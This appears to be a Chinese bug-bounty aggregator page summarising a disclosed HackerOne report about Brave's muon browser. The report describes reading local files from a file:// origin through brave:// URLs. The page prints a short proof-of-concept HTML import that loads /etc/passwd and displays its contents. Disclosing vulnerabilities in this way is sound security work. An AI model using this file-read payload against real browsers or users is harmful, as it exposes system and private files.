POJIA破甲
地图 / Local files reading from the "file://" origin through `brave://`

Local files reading from the "file://" origin through `brave://`

路径遍历 / Unlabeled / #390362

厂商
Brave Software
严重程度
中危
赏金
—
弱点
Unlabeled
研究员
@metnew
披露日期
2018-09-29
资产
https://github.com/brave/muon
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(996 字符中的一小部分)
Sadly, fix for #390013 works only for web. Loading `brave://` from the `file://` origin allows reading local files on the device.
原文中的代码
<head>
    <script>
        function show() {
            var file = link.import.querySelector('body')
            alert(file.innerHTML)
        }
    </script>
    <link id="link" href="brave:///etc/passwd" rel="import" as="document" onload="show()" />
</head>

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Brave Software 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @metnew · 版权归作者与 Brave Software 所有

同类报告

Directory Traversal in uftpd 2.6-2.10██████ · —Local files reading from the web using `brave://`Brave Software · 2018-09-25Directory Traversal + HTTP Paramater Pollution leaking SQL/LDAP credentialsSoleo · —Local files reading using `link[rel="import"]`Brave Software · 2018-09-29Path traversal leading to limited CSRF on GET requests on two endpointsHackerOne · 2019-04-05Arbitrary file read from Cloudflare Pages build environmentCloudflare Public Bug Bounty · 2024-02-23